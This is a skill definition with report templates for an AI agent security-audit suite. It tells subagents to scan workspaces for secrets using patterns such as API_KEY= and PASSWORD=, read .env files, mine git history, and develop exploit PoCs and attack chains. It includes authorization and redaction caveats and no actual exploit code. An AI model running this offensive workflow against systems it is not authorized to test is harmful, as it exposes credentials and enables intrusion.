Skill: paixaop/security-analyst (version 1.0.1)

--- name: security-analyst description: "Use when the user wants a security audit, penetration test, threat model, vulnerability hunt, security fix plan, SBOM, compliance mapping, privacy assessment, or security posture comparison between runs." always: false --- # Security Analyst **Repository:** https://github.com/paixaop/security-analyst Comprehensive security analysis suite that identifies vulnerabilities, assesses exploitability, and generates actionable remediation plans. Coordinates specialized agents through a multi-phase pipeline — built for developers and security researchers who want depth, not checkbox compliance. ## When to Use - Before deploying to production or after major feature work - When a security audit or penetration test is requested - After a vulnerability is reported, to find unpatched variants - To generate a threat model for compliance or planning - To create a fix plan from an existing security report - To generate a Software Bill of Materials (SBOM) for compliance - To map findings against SOC 2, ISO 27001, PCI DSS, HIPAA, or GDPR controls - To compare security posture between two analysis runs (delta/regression tracking) - To conduct a privacy and data protection assessment (PII flows, consent, data subject rights) ## Available Commands | Command | Purpose | Agents | Output | |---------|---------|--------|--------| | `/security-analyst` | Interactive — choose scope and output mode | Varies | Varies | | `/security-analyst:full` | All 9 phases, all attack surfaces | 23+ | Full run directory | | `/security-analyst:focused [component]` | Target a specific area (e.g., authentication, data pipeline) | 3-6 | Inline findings | | `/security-analyst:recon` | Phase 0 only — codebase security map | 14 (parallel) | Recon index + step files | | `/security-analyst:threat-model` | Recon + STRIDE analysis + attack trees | 1+ | Threat model doc | | `/security-analyst:variant-hunt [vuln]` | Find all unpatched variants of a known vulnerability | 2-6 | Variant findings | | `/security-analyst:fix-plan [run-dir]` | Generate implementation plan from existing report | 1 | Fix plan | | `/security-analyst:sbom` | Software Bill of Materials — recon + dependency audit only | 15 | SBOM report | | `/security-analyst:diff [run-a] [run-b]` | Compare two runs — new, resolved, persistent findings | 1 | Delta report | | `/security-analyst:compliance [framework]` | Map findings to SOC 2 / ISO 27001 / PCI DSS / HIPAA / GDPR | 1 | Compliance report | | `/security-analyst:privacy` | Privacy assessment — PII flows, consent, data subject rights | 15+ | Privacy report | ## How It Works ### Group-Based Pipeline Analysis runs in dependency-ordered execution groups. Each group's findings feed the next. Groups are execution-order groupings of phases. Finding IDs use category prefixes (HTTP, INJ, DEP, etc.). ``` Recon: Reconnaissance (14 agents, all parallel — 2 waves) └─ Wave A (12 agents, batch-spawned): metadata, docs, HTTP, boundaries, crown jewels, auth, integrations, secrets, security work, config, frontend, deps └─ Wave B (2 agents, batch-spawned): data flows, scope notes (depend on Wave A) └─ Assembly: orchestrator builds recon/index.md from LOD-0+1 returns Surface: Attack Surface + Git History + Dependencies + Config (up to 16 agents, batch-spawned in parallel) ├─ HTTP entry points, authz rules, integrations, frontend ├─ LLM/AI security (OWASP Top 10 for LLM Applications) ├─ API schema validation (OpenAPI, GraphQL, gRPC) ├─ WebSocket / SSE real-time security ├─ File upload security ├─ Injection/auth/SSRF/data-exposure variant hunting via git history ├─ Dependency audit (npm audit, supply chain) ├─ Infrastructure config, secrets, KMS, IAM ├─ CI/CD pipeline security (GitHub Actions, GitLab CI) └─ Container security (Docker, Kubernetes) ┌─ SBOM Assembly (orchestrator, no agent — runs in parallel with logic stage) │ Logic: Business Logic (4 agents batch-spawned, needs surface stage) ├─ Race conditions and TOCTOU ├─ Authorization escalation and IDOR ├─ Pipeline exploitation (input → AI → decision → action) └─ DoS and resource exhaustion Tracing: Data Flow Tracing (up to 4 agents batch-spawned, needs surface + logic) └─ End-to-end trace of critical data flows with sanitization gap analysis Exploits: Exploit Development (1 agent, needs all findings) └─ Develops complete exploits with PoCs, CVSS scores, CWE/ATT&CK IDs, chains Validation: Finding Validation (1 critic agent) └─ Adversarial review — catches false positives, validates fixes, adjusts severity Reporting: Final Report (1 agent) └─ Executive summary, risk dashboard, remediation roadmap Remediation: Fix Plan (1 agent) └─ Actionable tasks with fix code, regression tests, effort estimates ``` ### Finding Format Every Medium+ finding includes: CVSS 3.1 score, CWE ID, MITRE ATT&CK technique, exploit scoring (exploitability/blast radius/detectability/remediation ROI), attack steps, proof-of-concept, concrete fix code, and regression test. ### Output Directory Full runs write to `docs/security/runs/{YYYY-MM-DD-HHMMSS}/`: | File | Content | |------|---------| | `recon/index.md` | Recon LOD-0 + LOD-1 index | | `recon/step-*.md` | 14 atomic LOD-2 recon section files | | `findings/` | Atomic LOD-2 finding files + index | | `reports/surface.md` | Attack surface, git history, deps, config | | `reports/sbom.md` | Software Bill of Materials (deps, licenses, supply chain) | | `reports/logic.md` | Business logic exploitation | | `reports/tracing.md` | Data flow tracing | | `reports/exploits.md` | Exploit catalog with PoCs | | `reports/validation.md` | Validated findings | | `reports/final.md` | Complete security report | | `reports/fix-plan.md` | Implementation plan | | `reports/compliance.md` | Compliance mapping (when requested) | | `reports/delta.md` | Delta between two runs (when requested) | | `reports/privacy.md` | Privacy & data protection assessment (when requested) | ## Command Details ### Full Analysis Runs all 9 phases with no prompts. Most thorough — spawns up to 28+ agents across 6 execution groups. Expect significant processing time. ``` /security-analyst:full ``` ### Focused Analysis Analyzes a specific component with only relevant agents. Faster (3-6 agents) but still thorough within scope. Findings presented inline — no separate report. ``` /security-analyst:focused authentication /security-analyst:focused data processing pipeline /security-analyst:focused frontend /security-analyst:focused database rules /security-analyst:focused AI integration /security-analyst:focused CI/CD /security-analyst:focused containers /security-analyst:focused API /security-analyst:focused real-time /security-analyst:focused file uploads ``` ### Reconnaissance Only Quick security map without vulnerability analysis. Good for orientation before a full audit or for manual review planning. ``` /security-analyst:recon ``` ### Threat Model Recon plus STRIDE analysis on each trust boundary, attack trees for each crown jewel, and a risk matrix. Useful for compliance (SOC 2, ISO 27001) and security planning. ``` /security-analyst:threat-model ``` ### Variant Hunt Given a known vulnerability (commit hash, CVE, or description), systematically finds all unpatched variants using git history mining and pattern analysis. ``` /security-analyst:variant-hunt 6dc9bb7 /security-analyst:variant-hunt OData injection /security-analyst:variant-hunt CVE-2024-XXXX ``` ### Software Bill of Materials Generates a compliance-ready SBOM covering all languages, frameworks, direct and transitive dependencies, licenses, and supply chain health indicators. Runs recon plus the dependency audit agent only — no exploitation or attack surface analysis. ``` /security-analyst:sbom ``` ### Delta Report Compares two security analysis runs to highlight new, resolved, and persistent findings. Tracks dependency changes, attack surface evolution, and fix plan progress. Auto-detects the two most recent runs or accepts specific run directories. ``` /security-analyst:diff /security-analyst:diff docs/security/runs/2025-06-01-100000 docs/security/runs/2025-06-15-143022 ``` ### Compliance Mapping Maps findings from an existing security run to a compliance framework. Assesses each control as Pass/Partial/Fail/N/A and produces a compliance score with gap analysis. ``` /security-analyst:compliance soc2 /security-analyst:compliance iso27001 /security-analyst:compliance pci-dss /security-analyst:compliance hipaa /security-analyst:compliance gdpr ``` ### Privacy Assessment Traces all PII data flows, evaluates consent mechanisms, checks data subject rights implementation (access, erasure, portability), reviews data retention and deletion, and assesses cross-border transfers. Can run standalone or enrich an existing security run. ``` /security-analyst:privacy ``` ### Fix Plan Generates an implementation plan from an existing security report. Auto-detects the latest run or accepts a specific run directory. Tasks are prioritized: Quick Wins, Immediate, Short-term, Medium-term, Backlog. ``` /security-analyst:fix-plan /security-analyst:fix-plan docs/security/runs/2025-06-15-143022 ``` ## Architecture For detailed architecture reference (directory structure, agent design, LOD architecture, customization), see [references/architecture.md](references/architecture.md). For all constants (paths, filenames, agent registry, placeholders), see [references/constants.md](references/constants.md). **For platform-specific tool mapping (Cursor vs Claude Code vs Codex) and hang prevention, see [references/platform-tools.md](references/platform-tools.md).** **Key concepts:** - **LOD system**: Three-tier Level of Detail (LOD-0/1/2) saves 80-96% of prompt tokens for downstream agents while preserving full detail on disk - **Group discipline**: Later groups depend on earlier findings; never start a group early - **Dynamic scoping**: Recon determines which agents to skip - **Framework plugins**: 16 auto-detected plugins inject framework-specific checks into agent prompts. See [references/plugins/README.md](references/plugins/README.md) - **Critic validation**: Adversarial review catches false positives before the final report ## Before You Install This skill performs comprehensive security analysis. It instructs agents to read large portions of your repository (including environment and secrets files), run dependency auditors, mine git history, and write proof-of-concept reproductions and reports to disk. Before installing or running it: 1. **Only run on codebases you control** — You must have explicit permission to perform security testing on the target project and environment. 2. **Use an isolated workspace** — Run inside a disposable environment, not a production system or a workspace containing real credentials. If you must analyze a production codebase, clone it into a sandboxed directory first. 3. **Expect persistent artifacts** — Generated PoCs, exploit chains, and fix code are written to `docs/security/runs/` by default. Choose a safe output directory (configurable in `references/constants.md`), review artifacts promptly, and delete or secure them after triage. 4. **Verify tooling availability** — The skill requires `git` and benefits from `npm audit`, `pip-audit`, `govulncheck`, and other ecosystem tools. See [Requirements](#requirements) for the full list and fallback behavior. 5. **Run supervised first** — If you are unsure about scope or safety, do not enable autonomous invocation. Run a manual, supervised test on a throwaway repository before trusting it on a real codebase. The `/security-analyst:recon` command is a good low-risk starting point — it maps the codebase without producing exploits. ## Installation Copy or symlink this skill folder to your skills directory: ```bash # Claude Code cp -r . ~/.claude/skills/security-analyst # Cursor cp -r . ~/.cursor/skills/security-analyst # OpenAI Codex (if applicable) cp -r . $CODEX_HOME/skills/security-analyst ``` ## Requirements ### Workspace Access The skill requires **read access** to the project codebase and **write access** to the project directory. Agents use Read, Grep, and Glob to analyze source files, and full runs write output to `docs/security/runs/{YYYY-MM-DD-HHMMSS}/` inside the project workspace. The project being analyzed must be the current working directory. ### Platform Tools All agents are spawned as `generalPurpose` subagents via the **Task** tool and require: | Tool | Purpose | |------|---------| | **Task** | Spawn and coordinate subagents (Claude Code, Cursor, Codex) | | **Bash / Shell** | Run git commands, dependency auditors, and inline scripts | | **Read** | Read source files, configs, lockfiles, and prior-stage outputs | | **Grep** | Search for patterns across the codebase | | **Glob** | Find files by name/extension patterns | | **Write** | Write findings, reports, and recon step files to the run directory | See [references/platform-tools.md](references/platform-tools.md) for platform-specific availability (Cursor vs Claude Code vs Codex). ### Required: `git` Git is a **hard dependency**. Four agents mine git history (`git log`, `git diff`, `git show`, `git blame`) to find unpatched vulnerability variants. The dependency audit agent uses `git ls-files` to verify lockfile integrity. The variant-hunt command relies entirely on git history analysis. If the project is not a git repository, history-based agents will produce no findings and the variant-hunt command will not function. ### Language-Specific Auditors (used when available) The dependency audit agent attempts to run vulnerability scanners for detected package ecosystems. These tools are **not required** — if unavailable, the agent falls back to static analysis of manifest and lockfiles, but automated CVE detection will be less thorough. | Ecosystem | Tool | Invocation | Fallback | |-----------|------|------------|----------| | Node.js | `npm` | `npm audit --json` | Parse `package.json` + `package-lock.json` directly | | Python | `pip-audit` | `pip-audit --json` | Parse `requirements.txt` / `pyproject.toml` directly | | Go | `govulncheck` | `govulncheck ./...` | Parse `go.mod` / `go.sum` directly | The agent also runs inline Node.js scripts (via `node -e`) to extract license data from `node_modules/` when present. No global npm packages are installed — only project-local tooling is used. ### SBOM Export Tools (optional) The SBOM report template references machine-readable export tools. These are **documentation-only recommendations** — the skill does not attempt to run them automatically. The SBOM report is always generated from the dependency audit agent's static analysis regardless of whether these tools are installed. | Format | Tool | |--------|------| | CycloneDX | `npx @cyclonedx/cyclonedx-npm`, `cyclonedx-py`, `cyclonedx-gomod` | | SPDX | `spdx-sbom-generator`, `syft` | ### Credentials No credentials, API keys, or authentication tokens are required. All analysis is performed locally against the project source code and git history. The compliance and privacy commands assess implementation by reading code — they do not connect to external compliance platforms. ## Security & Safety Considerations This skill performs deep security analysis. By design, it reads broadly, looks for weaknesses, and produces proof-of-concept reproductions. The following sections describe the data and safety surfaces so users can make an informed decision before running it. ### Instruction Scope — Broad Read Access Agents are instructed to read **all files** in the project workspace, including source code, configuration, environment files, lockfiles, CI/CD pipelines, Dockerfiles, and infrastructure-as-code. This is inherent to security analysis — the skill cannot find vulnerabilities in code it cannot read. Specific high-sensitivity reads include: - **Secret scanning**: Agents grep for patterns like `API_KEY=`, `SECRET=`, `PASSWORD=`, and read `.env*` files, `credentials*` files, and config files to identify hardcoded secrets. The config-infrastructure agent is explicitly instructed to `redact the actual secret` in findings — only file paths and pattern types are reported, not secret values. - **Git history mining**: Four agents run `git log`, `git diff`, and `git show` to find previously-fixed vulnerabilities and check for incomplete remediation. This can surface deleted secrets that persist in git history. - **Absolute file paths with line numbers**: Recon agents record exact file locations so downstream agents can `Read` specific code without re-scanning. This is an efficiency optimization, not a privilege escalation — agents already have workspace-wide read access via the platform's Read/Grep/Glob tools. **The scope is the project workspace only.** Agents do not read files outside the current working directory, do not access the network, and do not read host system files. ### Install Mechanism — Instruction Only This skill contains no executable code, install scripts, or downloaded binaries. It consists entirely of markdown instruction files (prompts, templates, references) that are read by the orchestrator and injected into agent prompts. The risk surface is in what the instructions ask agents to do at runtime, not in installation. ### Credential Discovery vs. Credential Use The skill instructs agents to **discover and report on** credentials found in the codebase as part of the security audit. It does **not** use, exfiltrate, or test discovered credentials against external services. Specifically: | What agents do | What agents do NOT do | |----------------|----------------------| | Grep for secret patterns in source and config files | Use discovered secrets to authenticate to any service | | Read `.env` files to check if they are gitignored | Send secret values to external endpoints | | Check git history for accidentally committed secrets | Store raw secret values in findings | | Report the file path and pattern type of exposed secrets | Execute discovered credentials | | Assess whether secret management (Vault, KMS, etc.) is used | Access cloud metadata endpoints or secret managers | The config-infrastructure agent prompt (line 115) explicitly mandates: *"Plaintext secret findings are automatically High severity — include the file path (redact the actual secret)."* However, since agents interpret these instructions at runtime, redaction is best-effort. Users handling highly sensitive codebases should review the `findings/` directory after a run and before sharing reports. ### Persistent Artifacts — Exploit PoCs on Disk Full analysis runs write output to `docs/security/runs/{YYYY-MM-DD-HHMMSS}/` containing: - **Exploit PoCs**: The finding template requires Medium+ findings to include "concrete exploit code, curl command, or crafted payload" sufficient to reproduce the vulnerability. - **Exploit chains**: The exploit developer agent produces multi-step attack chains combining individual findings. - **Fix code**: Each finding includes concrete remediation code and regression tests. These are **text-based descriptions and code snippets in markdown files**, not standalone executable scripts. They are no more executable than a security advisory with sample payloads. Nevertheless, they represent sensitive security knowledge about the analyzed project. **Recommendations for managing run artifacts:** 1. **Add to `.gitignore`** — Consider adding `docs/security/runs/` to `.gitignore` to prevent accidental commits of security findings to shared repositories. 2. **Restrict access** — Treat run directories with the same access controls as penetration test reports. Share on a need-to-know basis. 3. **Clean up after review** — Delete run directories after findings have been triaged, remediated, and verified. The `/security-analyst:diff` command can compare runs before cleanup to confirm resolution. 4. **Custom output directory** — The output path is defined in `references/constants.md` (`RUN_DIR`). Change it to write outside the project tree if preferred (e.g., to a directory not tracked by version control). ### Activation The skill sets `always: false` in its frontmatter. It only activates when the user explicitly requests a security audit, penetration test, threat model, vulnerability scan, SBOM, compliance mapping, or privacy assessment. It does not run automatically on every conversation. ## Troubleshooting **Skill doesn't trigger on security-related requests** - Ensure the description includes your trigger phrase. Try: "run a security audit", "penetration test", "threat model", "vulnerability scan", "SBOM", "compliance mapping" **Analysis hangs / model waits forever** - On **Cursor**: the orchestrator may be trying to call TaskList or TaskCreate — these don't exist on Cursor. Read `references/platform-tools.md` for the correct flow. - On **Claude Code / Codex**: each Task call should block until the agent returns. If it hangs, check that agent prompts include "Return your LOD-0 + LOD-1 summary in your final message." **MCP or subagent connection fails during analysis** - Verify the environment supports subagent spawning (Claude Code Task tool, Cursor Task tool) - Check that the project being analyzed is the current workspace so recon agents can Read/Glob the codebase **Findings seem generic or lack concrete exploits** - The skill expects findings to include attack steps and PoC. If outputs are shallow, re-run with a focused scope (e.g., `/security-analyst:focused authentication`) for deeper analysis

path: assets/templates/sbom-report.md
content: # Software Bill of Materials (SBOM) Template

The orchestrator produces the SBOM after surface stage consolidation by reading recon step files and dependency audit findings. Output to `{REPORTS_DIR}/sbom.md`.

---

    # Software Bill of Materials (SBOM)

    **Project:** [From recon step-01 Project Name]
    **Version:** [From package manifest version field, or "unversioned"]
    **Generated:** {ISO_TIMESTAMP}
    **Security Run:** {RUN_DIR}
    **SBOM Standard Reference:** This report maps to CycloneDX 1.5 / SPDX 2.3 field semantics in markdown form.

    ---

    ## Project Identity

    | Field | Value | Source |
    |-------|-------|--------|
    | Name | | package manifest |
    | Version | | package manifest |
    | Description | | README / manifest |
    | Repository URL | | git remote / manifest |
    | License | | manifest / LICENSE file |

    ---

    ## Languages & Runtimes

    | Language | Version | Where Used | File Count | Primary/Secondary |
    |----------|---------|-----------|------------|-------------------|

    Data sources: `step-01-metadata.md` (Primary Language, Runtime), `step-14-scope.md` (Languages Detected), file extension analysis.

    ---

    ## Frameworks & Platforms

    | Framework | Version | Category | Configuration File |
    |-----------|---------|----------|--------------------|

    Categories: Web Framework, CSS Framework, Testing, ORM, Build Tool, Cloud Platform, Container Runtime.

    ---

    ## Build Toolchain

    | Component | Tool | Version | Configuration |
    |-----------|------|---------|---------------|
    | Package Manager | | | |
    | Build System | | | |
    | Bundler | | | |
    | CI/CD Platform | | | |
    | Container Runtime | | | |
    | Infrastructure-as-Code | | | |

    ---

    ## Direct Dependencies — Backend

    | # | Package | Version | License | Registry | Security Relevance | Maintenance Status |
    |---|---------|---------|---------|----------|--------------------|--------------------|

    **Total:** [count]

    ---

    ## Direct Dependencies — Frontend

    | # | Package | Version | License | Registry | Security Relevance | Maintenance Status |
    |---|---------|---------|---------|----------|--------------------|--------------------|

    **Total:** [count]

    ---

    ## Direct Dependencies — Development

    | # | Package | Version | License | Registry | Purpose |
    |---|---------|---------|---------|----------|---------|

    **Total:** [count]

    ---

    ## Transitive Dependency Summary

    Parsed from lockfile(s): [package-lock.json / yarn.lock / pnpm-lock.yaml / poetry.lock / Pipfile.lock / go.sum / Cargo.lock / Gemfile.lock].

    | Metric | Value |
    |--------|-------|
    | Total transitive dependencies | |
    | Maximum dependency depth | |
    | Packages with multiple versions | |
    | Packages in both direct and transitive | |

    ### High-Risk Transitive Dependencies

    Only list transitive dependencies that are security-relevant (crypto, auth, parsers, HTTP clients) or have known vulnerabilities.

    | Package | Version | Depth | Parent Chain | Security Relevance |
    |---------|---------|-------|-------------|-------------------|

    ---

    ## Known Vulnerabilities

    Cross-reference with dependency audit findings (DEP-* findings from surface stage).

    | CVE / Advisory | Package | Installed Version | Fixed Version | Severity | CVSS | Reachable in Project? | Finding ID |
    |----------------|---------|-------------------|---------------|----------|------|-----------------------|------------|

    **Total known vulnerabilities:** [count]
    **Reachable in this project:** [count]
    **Fix available:** [count]

    ---

    ## License Inventory

    | License | Type | Package Count | Packages |
    |---------|------|---------------|----------|

    License types: Permissive (MIT, BSD, Apache-2.0, ISC), Weak Copyleft (LGPL, MPL), Strong Copyleft (GPL, AGPL), Public Domain (Unlicense, CC0), Proprietary, Unknown.

    ### License Risk Summary

    | Risk Level | Count | Details |
    |-----------|-------|---------|
    | No risk (Permissive) | | |
    | Low risk (Weak Copyleft) | | |
    | Medium risk (Strong Copyleft) | | Copyleft obligations may apply |
    | High risk (Unknown/Missing) | | License could not be determined |
    | Review needed (Proprietary) | | Custom license terms |

    ---

    ## Supply Chain Indicators

    | Indicator | Value | Assessment |
    |-----------|-------|------------|
    | Lockfile present and committed | Yes/No | |
    | Integrity hashes in lockfile | Yes/No | |
    | Private registry usage | Yes/No | |
    | Pre/post-install scripts | [count] | List packages with install scripts |
    | Packages with < 100 weekly downloads | [count] | Typosquatting risk |
    | Packages with single maintainer | [count] | Bus factor risk |
    | Packages unmaintained (> 2 years) | [count] | Security patch risk |

    ---

    ## SPDX / CycloneDX Field Mapping

    For machine-readable SBOM export, map this report to standard formats:

    | This Report Section | CycloneDX 1.5 Field | SPDX 2.3 Field |
    |--------------------|---------------------|----------------|
    | Project Identity → Name | metadata.component.name | packages[0].name |
    | Project Identity → Version | metadata.component.version | packages[0].versionInfo |
    | Project Identity → License | metadata.component.licenses | packages[0].licenseConcluded |
    | Direct Dependencies | components[] | packages[] |
    | Package → License | components[].licenses | packages[].licenseConcluded |
    | Known Vulnerabilities | vulnerabilities[] | (via SPDX-Security namespace) |
    | Package → Registry | components[].purl | packages[].externalRefs[].referenceLocator |

    To generate a machine-readable SBOM from this data, use:
    - CycloneDX: `npx @cyclonedx/cyclonedx-npm` / `cyclonedx-py` / `cyclonedx-gomod`
    - SPDX: `spdx-sbom-generator` / `syft`

    ---

    ## Data Sources

    | Data | Source File | Collected By |
    |------|-----------|-------------|
    | Project metadata | recon/step-01-metadata.md | Recon agent (recon stage) |
    | Dependencies list | recon/step-13-dependencies.md | Recon agent (recon stage) |
    | Scope & languages | recon/step-14-scope.md | Recon agent (recon stage) |
    | CI/CD platform | recon/step-02-docs.md | Recon agent (recon stage) |
    | Vulnerability scan | findings/DEP-*.md | Dependency audit agent (surface stage) |
    | License & transitive data | Dependency audit agent output | Dependency audit agent (surface stage) |


path: assets/templates/final-report.md
content: # Final Report Structure

The report writer agent produces the final security analysis report following this structure. Output to `{REPORTS_DIR}/final.md`.

---

    # Security Analysis Report
    **Date:** [YYYY-MM-DD]
    **Analyst:** Claude Security Analyst (Opus)
    **Scope:** [Full / Focused on X / Variant hunt for Y / Threat model]
    **Methodology:** Offensive penetration testing — multi-phase analysis with team-based orchestration
    **Project:** [From recon index's Project Metadata]

    ---

    ## Executive Summary

    [2-3 paragraphs covering:]
    - Overall security posture assessment (strong/adequate/concerning/critical)
    - Most critical findings and their business impact
    - Key systemic issues (root causes that produce multiple findings)
    - Top 3 recommended immediate actions

    ---

    ## Risk Dashboard

    | Severity | Count | Confirmed | Likely | Possible | Informational |
    |----------|-------|-----------|--------|----------|---------------|
    | Critical |       |           |        |          |               |
    | High     |       |           |        |          |               |
    | Medium   |       |           |        |          |               |
    | Low      |       |           |        |          |               |
    | Info     |       |           |        |          |               |
    | **Total** |     |           |        |          |               |

    **Exploit Chains Identified:** [count]

    ---

    ## Critical & High Findings

    [Full exploit scenarios from Phase 7, ordered by CVSS score descending]
    [Use the finding format from assets/templates/finding.md]

    ---

    ## Medium Findings

    [Full exploit scenarios, CVSS ordered]

    ---

    ## Low & Informational Findings

    [Brief descriptions with file references — no full PoC required]

    | ID | Title | Severity | CWE | File:Line | Description |
    |----|-------|----------|-----|-----------|-------------|

    ---

    ## Exploit Chains

    [Full chain descriptions from Phase 7]
    [Use the chain format from assets/templates/finding.md]

    ---

    ## Root Cause Analysis

    Group findings by underlying root cause. A single root cause may explain multiple findings.

    | Root Cause | Affected Findings | Systemic Fix |
    |-----------|-------------------|-------------|

    [For each root cause, explain:]
    1. What the systemic issue is
    2. Which findings it produces
    3. A single fix that addresses all of them

    ---

    ## ATT&CK Tactic Coverage

    Map all findings to MITRE ATT&CK Enterprise tactics to visualize kill chain exposure and identify blind spots. Only include tactics relevant to the project's architecture (e.g., skip Lateral Movement for a single-service app).

    | Tactic | ID | Findings | Coverage |
    |--------|----|----------|----------|
    | Initial Access | TA0001 | [finding IDs or "—"] | [Covered / Gap / N/A] |
    | Execution | TA0002 | | |
    | Persistence | TA0003 | | |
    | Privilege Escalation | TA0004 | | |
    | Defense Evasion | TA0005 | | |
    | Credential Access | TA0006 | | |
    | Discovery | TA0007 | | |
    | Collection | TA0009 | | |
    | Exfiltration | TA0010 | | |
    | Impact | TA0040 | | |

    **Coverage Gaps:** List tactics that are architecturally relevant but produced no findings — these are either well-defended (note why) or blind spots that warrant follow-up analysis.

    **Kill Chain Patterns:** Note if findings cluster in a particular phase (e.g., many Initial Access findings but no Credential Access findings may indicate testing didn't reach deeper attack stages).

    ---

    ## Remediation Roadmap

    ### Quick Wins (ROI 4-5, Exploitability 4-5)

    Findings where a small fix eliminates a highly exploitable risk. Do these first regardless of severity tier.

    | Finding | Fix | Effort | ROI | Exploitability |
    |---------|-----|--------|-----|----------------|

    ### Immediate (fix before next deploy)
    - [ ] [Finding ID] — [One-line fix description] — Effort: [hours] — ROI: [1-5] — Exploitability: [1-5]

    ### Short-term (fix within 1 week)
    - [ ] [Finding ID] — [One-line fix description] — Effort: [hours/days] — ROI: [1-5] — Exploitability: [1-5]

    ### Medium-term (fix within 1 month)
    - [ ] [Finding ID] — [One-line fix description] — Effort: [days] — ROI: [1-5] — Exploitability: [1-5]

    ### Backlog (track and plan)
    - [ ] [Finding ID] — [One-line fix description] — Effort: [days/weeks] — ROI: [1-5] — Exploitability: [1-5]

    ---

    ## Comparison with Previous Security Work

    [Cross-reference with findings from recon step-10-security-work.md]

    | Previous Fix | Status | Variants Found | Notes |
    |-------------|--------|---------------|-------|

    - What was already fixed and remains secure
    - What was fixed but has remaining variants
    - What is entirely new

    ---

    ## Positive Security Observations

    [Acknowledge security measures that are well-implemented]

    | Security Measure | Implementation | Assessment |
    |-----------------|---------------|-----------|

    ---

    ## Methodology Notes

    | Phase | Agents | Duration | Findings |
    |-------|--------|----------|----------|
    | Phase 0: Recon | 1 | | |
    | Phase 1: Attack Surface | up to 4 | | |
    | Phase 2: Git History | up to 4 | | |
    | Phase 3: Business Logic | up to 4 | | |
    | Phase 4: Data Flow | variable | | |
    | Phase 5: Dependencies | up to 2 | | |
    | Phase 6: Configuration | up to 4 | | |
    | Phase 7: Exploit Dev | 1 | | |
    | Phase 8: Report | 1 | | |
    | Phase 9: Fix Plan | 1 | | |

    **ATT&CK Coverage:** See the ATT&CK Tactic Coverage section above for full kill chain mapping.

    **Limitations:**
    - [Areas not covered and why]
    - [Scope exclusions]
    - [Tool limitations]

    **Recon Index:** `{RUN_DIR}/recon/index.md`

    ---

    ## Finding Validation (Critic Review)

    | Original Findings | Confirmed | Downgraded | Removed | Upgraded |
    |-------------------|-----------|------------|---------|----------|
    | [count] | [count] | [count] | [count] | [count] |

    **Key Critic Observations:**
    - [Notable false positive caught]
    - [Notable upgrade with reasoning]


path: assets/templates/agent-common.md
content: # Shared Agent Output Instructions

## Finding Output (LOD Architecture)

For each finding you discover:

1. **Write the atomic finding file** to `{FINDINGS_DIR}/{FINDING-ID}.md` using the LOD-2 format from `{FINDING_TEMPLATE_PATH}`
2. **Build your LOD-0 summary table** — one row per finding: `| [ID] | [Severity] | [One-sentence summary] |`

When you are done with all analysis, return ONLY the following to the orchestrator:

```
## Agent: {AGENT_NAME}

**Endpoints/items analyzed:** [count]
**Findings:** [count] ([severity breakdown])

### LOD-0 Summary

| ID          | Severity | Summary        |
| ----------- | -------- | -------------- |
| HTTP-001 | High     | [one sentence] |
| HTTP-002 | Medium   | [one sentence] |

### IDOR-Suspect Endpoints (if applicable)

[list of endpoints flagged for logic stage deep dive]

### Incidental Findings

[IX-prefixed findings in abbreviated format]
```

Do NOT send full finding details in your return message. They are on disk.

## Reading Prior Findings

Your `{PRIOR_FINDINGS_SUMMARY}` contains LOD-0 summaries from earlier execution groups. If you need full detail on a specific finding:

1. Note the finding ID from the LOD-0 table
2. `Read` the file at `{FINDINGS_DIR}/{FINDING-ID}.md` for the full LOD-2 content
3. Only read findings relevant to your analysis — do not read all of them

## Incidental Findings

While performing your primary analysis, you may discover security issues OUTSIDE your focus area:

- Use finding ID prefix `IX-{AGENT_PREFIX}-XXX` (IX = incidental)
- Use abbreviated format (severity, file:line, one-paragraph description, ATT&CK technique if obvious)
- Do NOT write atomic files for incidentals — include them in your return message only
- Do NOT let incidental findings distract from your primary analysis

## Reading Recon Data

Your recon context comes in three levels:
- **LOD-0 + LOD-1**: In `{RECON_INDEX_PATH}` — summary table + paragraph per section
- **LOD-2**: Atomic step files in `{RECON_DIR}/step-{NN}-{name}.md` — full tables with file:line references

Your "Inputs" section specifies which step files are most relevant to your analysis. Read the index first, then selectively read the step files you need. Do not read all 14 step files unless your analysis requires broad context.


path: assets/templates/group-report.md
content: # Stage Report Template

This template is used by the orchestrator to write intermediate findings after each stage. Output to `{REPORTS_DIR}/{stage-name}.md`.

---

    # {GROUP_NAME}
    **Run:** {RUN_DIR}
    **Agents:** {AGENT_LIST}
    **Timestamp:** {ISO_TIMESTAMP}
    **Prior Groups:** {PRIOR_GROUP_FILES}

    ---

    ## Severity Summary

    | Severity | Count |
    |----------|-------|
    | Critical | |
    | High     | |
    | Medium   | |
    | Low      | |
    | Info     | |
    | **Total** | |

    ---

    ## Findings

    ### Summary (LOD-0)

    | ID | Severity | Summary |
    |----|----------|---------|
    {LOD0_TABLE}

    ### Finding Details

    Full LOD-2 findings are in `{FINDINGS_DIR}/`. To read any finding: `Read {FINDINGS_DIR}/{FINDING-ID}.md`

    ---

    ## Incidental Findings

    {IX_FINDINGS}

    Incidental findings (IX-prefixed) discovered by this group's agents.

    ---

    ## Notes

    - Agents skipped: {SKIPPED_AGENTS} (and why)
    - Cross-references to prior group findings: {CROSS_REFS}


path: assets/templates/recon-report.md
content: # Recon Report — LOD Architecture

The recon report uses the same Level of Detail architecture as findings. Instead of a single monolithic file, recon data is written as atomic section files consumed selectively by downstream agents.

## File Structure

```
{RUN_DIR}/recon/
├── index.md                    # LOD-0 table + LOD-1 briefs (assembled by orchestrator)
├── step-01-metadata.md
├── step-02-docs.md
├── step-03-http.md
├── step-04-boundaries.md
├── step-05-crown-jewels.md
├── step-06-auth.md
├── step-07-integrations.md
├── step-08-secrets.md
├── step-09-data-flows.md
├── step-10-security-work.md
├── step-11-config.md
├── step-12-frontend.md
├── step-13-dependencies.md
└── step-14-scope.md
```

---

## LOD-0: Summary Table (in index.md)

Each recon agent returns one LOD-0 row. The orchestrator assembles these into the index.

Format: `| [Step #] | [Section Name] | [Key facts — one line] |`

Example:
```
| # | Section | Key Facts |
|---|---------|-----------|
| 1 | Project Metadata | TypeScript, Firebase Cloud Functions, Node 22, Jest |
| 3 | HTTP Entry Points | 12 endpoints: 4 unauth, 8 auth, 5 background |
| 5 | Crown Jewels | OAuth tokens (KMS encrypted), PII (email/name), automated email sending |
| 6 | Auth & AuthZ | Firebase Auth, Firestore rules, Cloud KMS token encryption |
```

---

## LOD-1: Section Brief (in index.md)

Each recon agent returns one LOD-1 paragraph. The orchestrator assembles these below the LOD-0 table.

Format:
```
### Step N: [Section Name]
**[Key metric]:** [value]
**Key files:** [2-4 most important file paths with line numbers]
**Notable:** [1-2 sentences on security-relevant observations — facts only, not analysis]
